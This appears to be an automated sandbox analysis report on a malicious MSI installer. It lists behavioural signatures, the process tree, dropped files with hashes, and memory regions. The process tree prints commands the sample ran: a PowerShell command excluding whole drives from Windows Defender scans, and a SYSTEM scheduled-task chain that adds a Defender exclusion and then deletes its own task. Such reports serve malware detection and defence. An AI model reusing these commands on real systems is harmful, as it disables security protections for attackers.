Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/08/2026, 03:04

General

  • Target
    install_s0up006.msi
  • Size 7.6MB
  • Sample260802-dkpdqscc96
  • SHA256 0f222defec009c65ff1d41ceff228c4f3c5ab9f7f3877724801729ba6f6275bb
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 9 IoCs
  • Drops file in Windows directory 13 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_s0up006.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4152
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5184
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2496
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding EFD4DE6CA31E08AF6F4CD54DA4C97BE4 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:5772
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:4392
  • C:\Users\Public\z8Ue87\88klxT.exe
    "C:\Users\Public\z8Ue87\88klxT.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2544
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4632
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\z8Ue87\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      PID:5428

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        e599ea8.rbs

        • Path C:\Config.Msi\e599ea8.rbs
        • Size 7KB
        • SHA256 f48122d59d0f189cb38a23095b4d8edecc89e6f0a965cc02f72458410f5ef801
        • MD5 SHA1 SHA512 SSDEEP TLSH

        88klxT.exe

        • Path C:\Users\Public\z8Ue87\88klxT.exe
        • Size 135KB
        • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        UxEnhance64.dll

        • Path C:\Users\Public\z8Ue87\UxEnhance64.dll
        • Size 3.1MB
        • SHA256 a6029ffb80a70d6c031f6f1775129528062b974619c02d160518234f48510bc4
        • MD5 SHA1 SHA512 SSDEEP TLSH

        adoresd.dat

        • Path C:\Users\Public\z8Ue87\adoresd.dat
        • Size 4.7MB
        • SHA256 c57ec88ea306b13020aa622aca9b563d5e012a29045f02cbf7696b2754a19caa
        • MD5 SHA1 SHA512 SSDEEP TLSH

        msadox.tb

        • Path C:\Users\Public\z8Ue87\msadox.tb
        • Size 8KB
        • SHA256 92f6278a214047db00129451f7e8ddc771597c37efc393b6ae9f6f3e183d31e6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIA54F.tmp

        • Path C:\Windows\Installer\MSIA54F.tmp
        • Size 7.5MB
        • SHA256 a67b0d3ea524701352723b1b52f15b3a1cac7f953391c03ffad0c38d336c6fcd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        e599ea7.msi

        • Path C:\Windows\Installer\e599ea7.msi
        • Size 7.6MB
        • SHA256 0f222defec009c65ff1d41ceff228c4f3c5ab9f7f3877724801729ba6f6275bb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        metadata-2

        • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
        • Size 26.1MB
        • SHA256 ee880fc1f73d95d1420f249a77542895926450481fba1eeb6ffd1e9f59fb13df
        • MD5 SHA1 SHA512 SSDEEP TLSH

        {3c9c4398-2539-4e35-a816-df913ae364b0}_OnDiskSnapshotProp

        • Path \??\Volume{cba08e50-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{3c9c4398-2539-4e35-a816-df913ae364b0}_OnDiskSnapshotProp
        • Size 6KB
        • SHA256 2f94d3d4d4ef7c116d1909d1e9928a68473bf19196fede4bf23c028255f30abe
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2544-58-0x00007FFEEB630000-0x00007FFEEB632000-memory.dmp

        memory/2544-73-0x000001B5D2960000-0x000001B5D31F1000-memory.dmp

        memory/2544-94-0x000001B5D2960000-0x000001B5D31F1000-memory.dmp

        memory/2544-93-0x000001B5D2960000-0x000001B5D31F1000-memory.dmp

        memory/2544-59-0x00007FFEC7BF0000-0x00007FFEC810E000-memory.dmp

        memory/2544-91-0x000001B5D2960000-0x000001B5D31F1000-memory.dmp

        memory/2544-64-0x000001B5D2960000-0x000001B5D31F1000-memory.dmp

        memory/2544-68-0x000001B5D2960000-0x000001B5D31F1000-memory.dmp

        memory/2544-66-0x00007FFEEB640000-0x00007FFEEB642000-memory.dmp

        memory/2544-71-0x000001B5D2960000-0x000001B5D31F1000-memory.dmp

        memory/2544-72-0x000001B5D2960000-0x000001B5D31F1000-memory.dmp

        memory/2544-84-0x000001B5D06A0000-0x000001B5D06EE000-memory.dmp

        memory/2544-74-0x000001B5D2960000-0x000001B5D31F1000-memory.dmp

        memory/2544-79-0x000001B5D2960000-0x000001B5D31F1000-memory.dmp

        memory/2544-85-0x000001B5D3200000-0x000001B5D328A000-memory.dmp

        memory/2544-88-0x000001B5D3200000-0x000001B5D328A000-memory.dmp

        memory/2544-89-0x000001B5D3200000-0x000001B5D328A000-memory.dmp

        memory/2544-87-0x000001B5D3200000-0x000001B5D328A000-memory.dmp

        memory/5772-44-0x00007FFED7790000-0x00007FFED77A2000-memory.dmp

        memory/5772-12-0x00007FFEEB630000-0x00007FFEEB632000-memory.dmp

        memory/5772-13-0x00007FFEC7AD0000-0x00007FFEC810A000-memory.dmp

        memory/5772-16-0x00007FFED7790000-0x00007FFED77A2000-memory.dmp